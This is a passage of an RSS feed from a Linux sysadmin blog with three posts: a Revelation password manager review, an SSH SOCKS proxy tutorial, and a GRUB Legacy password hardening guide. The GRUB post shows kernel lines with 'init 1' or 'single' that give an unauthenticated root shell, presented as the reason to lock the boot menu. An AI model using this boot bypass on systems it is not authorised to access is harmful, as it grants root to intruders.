	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Ffwknop-single-packet-authorization-in-ubuntu%2F&amp;title=fwknop%3A%20Single%20Packet%20Authorization%20in%20Ubuntu&amp;bodytext=Updated%20%2811%2F21%2F2007%29%3A%20I%27ve%20added%20an%20updated%20version%20of%20this%20How-to%20on%20the%20community%20supported%20Ubuntu%20documentation%20site.%20%20The%20new%20document%20can%20be%20found%20at%3A%20https%3A%2F%2Fhelp.ubuntu.com%2Fcommunity%2FSinglePacketAuthorization.%0D%0A%0D%0ASingle%20Packet%20Authorization%20%28S" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=fwknop%3A%20Single%20Packet%20Authorization%20in%20Ubuntu&amp;body=http%3A%2F%2Fsavvyadmin.com%2Ffwknop-single-packet-authorization-in-ubuntu%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Ffwknop-single-packet-authorization-in-ubuntu%2F&amp;title=fwknop%3A%20Single%20Packet%20Authorization%20in%20Ubuntu&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=Updated%20%2811%2F21%2F2007%29%3A%20I%27ve%20added%20an%20updated%20version%20of%20this%20How-to%20on%20the%20community%20supported%20Ubuntu%20documentation%20site.%20%20The%20new%20document%20can%20be%20found%20at%3A%20https%3A%2F%2Fhelp.ubuntu.com%2Fcommunity%2FSinglePacketAuthorization.%0D%0A%0D%0ASingle%20Packet%20Authorization%20%28S" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Ffwknop-single-packet-authorization-in-ubuntu%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Ffwknop-single-packet-authorization-in-ubuntu%2F&amp;title=fwknop%3A%20Single%20Packet%20Authorization%20in%20Ubuntu&amp;annotation=Updated%20%2811%2F21%2F2007%29%3A%20I%27ve%20added%20an%20updated%20version%20of%20this%20How-to%20on%20the%20community%20supported%20Ubuntu%20documentation%20site.%20%20The%20new%20document%20can%20be%20found%20at%3A%20https%3A%2F%2Fhelp.ubuntu.com%2Fcommunity%2FSinglePacketAuthorization.%0D%0A%0D%0ASingle%20Packet%20Authorization%20%28S" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Ffwknop-single-packet-authorization-in-ubuntu%2F&amp;title=fwknop%3A%20Single%20Packet%20Authorization%20in%20Ubuntu" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/ubuntus-ufw/' rel='bookmark' title='Permanent Link: Ubuntu&#8217;s Uncomplicated Firewall (UFW)'>Ubuntu&#8217;s Uncomplicated Firewall (UFW)</a></li>
<li><a href='http://savvyadmin.com/denyhosts-automated-ssh-brute-force-response-system/' rel='bookmark' title='Permanent Link: DenyHosts: Automated SSH Brute Force Response System'>DenyHosts: Automated SSH Brute Force Response System</a></li>
<li><a href='http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/' rel='bookmark' title='Permanent Link: VLAN Hopping on Cisco Voice-enabled Switch Ports'>VLAN Hopping on Cisco Voice-enabled Switch Ports</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Revelation Password Manager for Gnome</title>
		<link>http://savvyadmin.com/revelation-password-manager-for-gnome/</link>
		<comments>http://savvyadmin.com/revelation-password-manager-for-gnome/#comments</comments>
		<pubDate>Sat, 23 Jun 2007 16:53:30 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Passwords]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/2007/06/23/revelation-password-manager-for-gnome/</guid>
		<description><![CDATA[If you have a large number of passwords, it would be a good idea to write them on a sticky pad and put them on your monitor or secretly under your keyboard. ;-) Or better yet, you can use a nifty password manager for the Linux platform call Revelation. It&#8217;s written for tight integration with [...]


Related posts:<ol><li><a href='http://savvyadmin.com/grub-password-security/' rel='bookmark' title='Permanent Link: GRUB Password Security'>GRUB Password Security</a></li>
<li><a href='http://savvyadmin.com/pam_keyring-automatic-keyring-authentication/' rel='bookmark' title='Permanent Link: PAM_KEYRING: Automatic Keyring Authentication'>PAM_KEYRING: Automatic Keyring Authentication</a></li>
<li><a href='http://savvyadmin.com/create-encrypted-cds-and-dvds-in-linux/' rel='bookmark' title='Permanent Link: Create Encrypted CD&#8217;s and DVD&#8217;s in Linux'>Create Encrypted CD&#8217;s and DVD&#8217;s in Linux</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you have a large number of passwords, it would be a good idea to write them on a sticky pad and put them on your monitor or secretly under your keyboard.   ;-)</p>
<p>Or better yet, you can use a nifty password manager for the Linux platform call <a title="Revelation password manager" href="http://oss.codepoet.no/revelation/" target="_blank">Revelation</a>.  It&#8217;s written for tight integration with the Gnome desktop environment.</p>
<p>Home page: <a title="Revelation password manager" href="http://oss.codepoet.no/revelation/" target="_blank">http://oss.codepoet.no/revelation/</a></p>
<p>The passwords are stored in an encrypted XML file, protected by AES encryption and of course a master passphrase.</p>
<p>It has most of the core functionality one would expect from a mature password manager, including a nice internal directory structure to organize your data, copy and paste, and customizable viewing options.</p>
<p><img src="https://www.savvyadmin.com/wp-content/uploads/2007/06/revelation.png" alt="Revelation Password Manager" /></p>
<p>Definitely worth checking out.  Ubuntu 7.04 universe repositories have the latest version available for download.</p>
<blockquote><p><code>$ sudo apt-get install revelation</code></p></blockquote>
<p>Launch it from Applications -&gt; Accessories -&gt; Revelation Password Manager.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Frevelation-password-manager-for-gnome%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Frevelation-password-manager-for-gnome%2F&amp;t=Revelation%20Password%20Manager%20for%20Gnome" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Revelation%20Password%20Manager%20for%20Gnome%20-%20http%3A%2F%2Fsavvyadmin.com%2Frevelation-password-manager-for-gnome%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Frevelation-password-manager-for-gnome%2F&amp;title=Revelation%20Password%20Manager%20for%20Gnome&amp;notes=If%20you%20have%20a%20large%20number%20of%20passwords%2C%20it%20would%20be%20a%20good%20idea%20to%20write%20them%20on%20a%20sticky%20pad%20and%20put%20them%20on%20your%20monitor%20or%20secretly%20under%20your%20keyboard.%20%20%20%3B-%29%0D%0A%0D%0AOr%20better%20yet%2C%20you%20can%20use%20a%20nifty%20password%20manager%20for%20the%20Linux%20platform%20call%20Reve" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Frevelation-password-manager-for-gnome%2F&amp;title=Revelation%20Password%20Manager%20for%20Gnome&amp;bodytext=If%20you%20have%20a%20large%20number%20of%20passwords%2C%20it%20would%20be%20a%20good%20idea%20to%20write%20them%20on%20a%20sticky%20pad%20and%20put%20them%20on%20your%20monitor%20or%20secretly%20under%20your%20keyboard.%20%20%20%3B-%29%0D%0A%0D%0AOr%20better%20yet%2C%20you%20can%20use%20a%20nifty%20password%20manager%20for%20the%20Linux%20platform%20call%20Reve" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Revelation%20Password%20Manager%20for%20Gnome&amp;body=http%3A%2F%2Fsavvyadmin.com%2Frevelation-password-manager-for-gnome%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Frevelation-password-manager-for-gnome%2F&amp;title=Revelation%20Password%20Manager%20for%20Gnome&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=If%20you%20have%20a%20large%20number%20of%20passwords%2C%20it%20would%20be%20a%20good%20idea%20to%20write%20them%20on%20a%20sticky%20pad%20and%20put%20them%20on%20your%20monitor%20or%20secretly%20under%20your%20keyboard.%20%20%20%3B-%29%0D%0A%0D%0AOr%20better%20yet%2C%20you%20can%20use%20a%20nifty%20password%20manager%20for%20the%20Linux%20platform%20call%20Reve" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Frevelation-password-manager-for-gnome%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Frevelation-password-manager-for-gnome%2F&amp;title=Revelation%20Password%20Manager%20for%20Gnome&amp;annotation=If%20you%20have%20a%20large%20number%20of%20passwords%2C%20it%20would%20be%20a%20good%20idea%20to%20write%20them%20on%20a%20sticky%20pad%20and%20put%20them%20on%20your%20monitor%20or%20secretly%20under%20your%20keyboard.%20%20%20%3B-%29%0D%0A%0D%0AOr%20better%20yet%2C%20you%20can%20use%20a%20nifty%20password%20manager%20for%20the%20Linux%20platform%20call%20Reve" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Frevelation-password-manager-for-gnome%2F&amp;title=Revelation%20Password%20Manager%20for%20Gnome" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/grub-password-security/' rel='bookmark' title='Permanent Link: GRUB Password Security'>GRUB Password Security</a></li>
<li><a href='http://savvyadmin.com/pam_keyring-automatic-keyring-authentication/' rel='bookmark' title='Permanent Link: PAM_KEYRING: Automatic Keyring Authentication'>PAM_KEYRING: Automatic Keyring Authentication</a></li>
<li><a href='http://savvyadmin.com/create-encrypted-cds-and-dvds-in-linux/' rel='bookmark' title='Permanent Link: Create Encrypted CD&#8217;s and DVD&#8217;s in Linux'>Create Encrypted CD&#8217;s and DVD&#8217;s in Linux</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/revelation-password-manager-for-gnome/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Secure Internet Access via SSH Proxy</title>
		<link>http://savvyadmin.com/secure-internet-access-via-ssh-proxy/</link>
		<comments>http://savvyadmin.com/secure-internet-access-via-ssh-proxy/#comments</comments>
		<pubDate>Sat, 23 Jun 2007 00:41:26 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Proxy]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/2007/06/22/secure-internet-access-via-ssh-proxy/</guid>
		<description><![CDATA[An OpenSSH server can be used as a SOCKS compliant proxy, allowing one to tunnel virtually any type of traffic via the SSH protocol. This is very useful when surfing the web on untrusted networks such as hotel internet services and wireless hotspots. You just never know who&#8217;s snooping in on your data. All you [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>An OpenSSH server can be used as a SOCKS compliant proxy, allowing one to tunnel virtually any type of traffic via the SSH protocol.  This is very useful when surfing the web on untrusted networks such as hotel internet services and wireless hotspots.  You just never know who&#8217;s snooping in on your data.</p>
<p>All you need is external access to a trusted OpenSSH server, perhaps the one you have at home, work, etc.  If you&#8217;re using your laptop to surf the internet at your local coffee shop, you&#8217;ll simply need to establish a connection to that external SSH server using the appropriate client variables, and configure your web browser&#8217;s proxy settings to connect to a locally defined TCP port.<span id="more-16"></span></p>
<p>From a Linux terminal session on your local computer, run the following command:</p>
<blockquote><p><code>$ ssh -ND 8080 user@server.yourdomain.com</code></p></blockquote>
<p>You will be prompted for a password as you would normally expect when connecting to your server.  After you make a successful connection, the session does not execute your default shell, and the command will remain silent until you close the console or terminate the process.</p>
<p>The &#8220;-D 8080&#8243; option opens TCP port 8080 on your local client, which you will use as the SOCKS proxy port to tunnel your connections through.  This can be verified via netstat:</p>
<blockquote><p><code>$ netstat -an | grep 8080<br />
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN</code></p></blockquote>
<p>Next, you change your browser (or any other application) proxy settings to connect to your localhost (127.0.0.1) port 8080.  For example, here is a screenshot of the appropriate Firefox settings.</p>
<p style="text-align: center;"><img class="aligncenter" src="https://www.savvyadmin.com/wp-content/uploads/2007/06/firefox-connection-settings.png" alt="Firefox Connection Settings" /></p>
<p>You should also make sure that your web browser is using the proxy for DNS queries.  This is important because even if people cannot &#8220;see&#8221; the content of your browser traffic, they would still be able to get a feel for what your are doing by your DNS lookups.  There is also a risk of a malicious user feeding you dangerous DNS answers which could send you in the wrong direction leaving you open to man in the middle attacks.</p>
<p>In firefox, open &#8220;about:config&#8221; in your location bar, and change the value of &#8220;network.proxy.socks_remote_dns&#8221; to &#8220;true&#8221;.</p>
<p style="text-align: center;"><img class="aligncenter" src="https://www.savvyadmin.com/wp-content/uploads/2007/06/firefox-proxy-dns.png" alt="Firefox Proxy DNS" /></p>
<p>You are now ready to surf securely.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fsecure-internet-access-via-ssh-proxy%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fsecure-internet-access-via-ssh-proxy%2F&amp;t=Secure%20Internet%20Access%20via%20SSH%20Proxy" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Secure%20Internet%20Access%20via%20SSH%20Proxy%20-%20http%3A%2F%2Fsavvyadmin.com%2Fsecure-internet-access-via-ssh-proxy%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fsecure-internet-access-via-ssh-proxy%2F&amp;title=Secure%20Internet%20Access%20via%20SSH%20Proxy&amp;notes=An%20OpenSSH%20server%20can%20be%20used%20as%20a%20SOCKS%20compliant%20proxy%2C%20allowing%20one%20to%20tunnel%20virtually%20any%20type%20of%20traffic%20via%20the%20SSH%20protocol.%20%20This%20is%20very%20useful%20when%20surfing%20the%20web%20on%20untrusted%20networks%20such%20as%20hotel%20internet%20services%20and%20wireless%20hotspots" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fsecure-internet-access-via-ssh-proxy%2F&amp;title=Secure%20Internet%20Access%20via%20SSH%20Proxy&amp;bodytext=An%20OpenSSH%20server%20can%20be%20used%20as%20a%20SOCKS%20compliant%20proxy%2C%20allowing%20one%20to%20tunnel%20virtually%20any%20type%20of%20traffic%20via%20the%20SSH%20protocol.%20%20This%20is%20very%20useful%20when%20surfing%20the%20web%20on%20untrusted%20networks%20such%20as%20hotel%20internet%20services%20and%20wireless%20hotspots" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Secure%20Internet%20Access%20via%20SSH%20Proxy&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fsecure-internet-access-via-ssh-proxy%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fsecure-internet-access-via-ssh-proxy%2F&amp;title=Secure%20Internet%20Access%20via%20SSH%20Proxy&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=An%20OpenSSH%20server%20can%20be%20used%20as%20a%20SOCKS%20compliant%20proxy%2C%20allowing%20one%20to%20tunnel%20virtually%20any%20type%20of%20traffic%20via%20the%20SSH%20protocol.%20%20This%20is%20very%20useful%20when%20surfing%20the%20web%20on%20untrusted%20networks%20such%20as%20hotel%20internet%20services%20and%20wireless%20hotspots" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fsecure-internet-access-via-ssh-proxy%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fsecure-internet-access-via-ssh-proxy%2F&amp;title=Secure%20Internet%20Access%20via%20SSH%20Proxy&amp;annotation=An%20OpenSSH%20server%20can%20be%20used%20as%20a%20SOCKS%20compliant%20proxy%2C%20allowing%20one%20to%20tunnel%20virtually%20any%20type%20of%20traffic%20via%20the%20SSH%20protocol.%20%20This%20is%20very%20useful%20when%20surfing%20the%20web%20on%20untrusted%20networks%20such%20as%20hotel%20internet%20services%20and%20wireless%20hotspots" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fsecure-internet-access-via-ssh-proxy%2F&amp;title=Secure%20Internet%20Access%20via%20SSH%20Proxy" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/secure-internet-access-via-ssh-proxy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GRUB Password Security</title>
		<link>http://savvyadmin.com/grub-password-security/</link>
		<comments>http://savvyadmin.com/grub-password-security/#comments</comments>
		<pubDate>Mon, 18 Jun 2007 04:30:56 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Grub]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/2007/06/17/grub-password-security/</guid>
		<description><![CDATA[NOTE (01-11-2009): This article refers to GRUB Legacy. GRUB 2 is a complete rewrite and it&#8217;s configuration is completely different than what is described below. This page will eventually be updated to include both Legacy and version 2 instructions. If your system is using a default installation of GRUB as it&#8217;s boot loader, chances are [...]


Related posts:<ol><li><a href='http://savvyadmin.com/create-encrypted-cds-and-dvds-in-linux/' rel='bookmark' title='Permanent Link: Create Encrypted CD&#8217;s and DVD&#8217;s in Linux'>Create Encrypted CD&#8217;s and DVD&#8217;s in Linux</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Permanent Link: Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Permanent Link: Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><strong>NOTE (01-11-2009):</strong> This article refers to GRUB Legacy.  GRUB 2 is a complete rewrite and it&#8217;s configuration is completely different than what is described below.  This page will eventually be updated to include both Legacy and version 2 instructions.</p>
<p>If your system is using a default installation of GRUB as it&#8217;s boot loader, chances are it has not been set up with a password.</p>
<p>When at the GRUB menu, one can edit the kernel selection by highlighting the menu item, and pressing the &#8220;e&#8221; button. By editing the &#8220;kernel&#8221; entry, they can pass any number of boot variables and options.  For instance, the options &#8220;init 1&#8243; or &#8220;single&#8221; boot the operating system into &#8220;single user&#8221; mode (run level 1), which drops you into a root prompt with no authentication necessary.</p>
<p>For example, the kernel option would look like the following:</p>
<blockquote><p><code>kernel /boot/vmlinuz-2.6.15-27-686 root=/dev/hda1 ro quiet init 1</code></p></blockquote>
<p>or</p>
<blockquote><p><code>kernel /boot/vmlinuz-2.6.15-27-686 root=/dev/hda1 ro quiet single</code></p></blockquote>
<p>Ubuntu actually installs a &#8220;recovery&#8221; GRUB menu item already configured for you.  How nice of them!</p>
<p>Of course, anyone with prolonged physical access to your server can do a lot more damage.  Configuring a GRUB password can be likened to installing and locking your &#8220;screen door&#8221;.  It can slow down or even discourage a potential intruder.</p>
<p><strong>Instructions:</strong></p>
<p><strong>Step 1:</strong> Generate an MD5 hashed password using the &#8220;grub-md5-crypt&#8221; command line utility. Enter the command, and it will prompt you twice for any password of your choice.</p>
<blockquote><p><code><strong>grub-md5-crypt</strong><br />
Password: <strong>(enter password)</strong><br />
Retype password:<strong> (reenter password)</strong><br />
$1$aBQge1$oljHKOKAPuiOkvUTTzPc80<br />
</code></p></blockquote>
<p><strong>Step 2:</strong> Copy the resulting hash into /boot/grub/menu.lst using the following syntax:</p>
<blockquote><p><code>password --md5 $1$aBQge1$oljHKOKAPuiOkvUTTzPc80</code></p></blockquote>
<p><strong>Step 3:</strong> Lock alternative boot options by changing the &#8220;lockalternatives&#8221; value to &#8220;true&#8221;.  This option will make it mandatory for the administrative password to be entered prior to using the alternative menu item (recovery mode).</p>
<blockquote><p><code># lockalternative=true</code></p></blockquote>
<p><strong>Step 4:</strong> lock old kernel menu items, as they may have present their own security issues.</p>
<blockquote><p><code># lockold=true</code></p></blockquote>
<p><strong>Step 3:</strong> Save changes by updating grub, and then reboot to test.</p>
<blockquote><p><code>sudo update-grub</code></p></blockquote>
<p>You should notice that GRUB now instructs you to press &#8220;p&#8221; to enter a password in order for you to edit the kernel options, boot into single user mode or older kernels.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fgrub-password-security%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fgrub-password-security%2F&amp;t=GRUB%20Password%20Security" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=GRUB%20Password%20Security%20-%20http%3A%2F%2Fsavvyadmin.com%2Fgrub-password-security%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fgrub-password-security%2F&amp;title=GRUB%20Password%20Security&amp;notes=NOTE%20%2801-11-2009%29%3A%20This%20article%20refers%20to%20GRUB%20Legacy.%20%20GRUB%202%20is%20a%20complete%20rewrite%20and%20it%27s%20configuration%20is%20completely%20different%20than%20what%20is%20described%20below.%20%20This%20page%20will%20eventually%20be%20updated%20to%20include%20both%20Legacy%20and%20version%202%20instructions." title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fgrub-password-security%2F&amp;title=GRUB%20Password%20Security&amp;bodytext=NOTE%20%2801-11-2009%29%3A%20This%20article%20refers%20to%20GRUB%20Legacy.%20%20GRUB%202%20is%20a%20complete%20rewrite%20and%20it%27s%20configuration%20is%20completely%20different%20than%20what%20is%20described%20below.%20%20This%20page%20will%20eventually%20be%20updated%20to%20include%20both%20Legacy%20and%20version%202%20instructions." title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=GRUB%20Password%20Security&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fgrub-password-security%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fgrub-password-security%2F&amp;title=GRUB%20Password%20Security&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=NOTE%20%2801-11-2009%29%3A%20This%20article%20refers%20to%20GRUB%20Legacy.%20%20GRUB%202%20is%20a%20complete%20rewrite%20and%20it%27s%20configuration%20is%20completely%20different%20than%20what%20is%20described%20below.%20%20This%20page%20will%20eventually%20be%20updated%20to%20include%20both%20Legacy%20and%20version%202%20instructions." title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fgrub-password-security%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
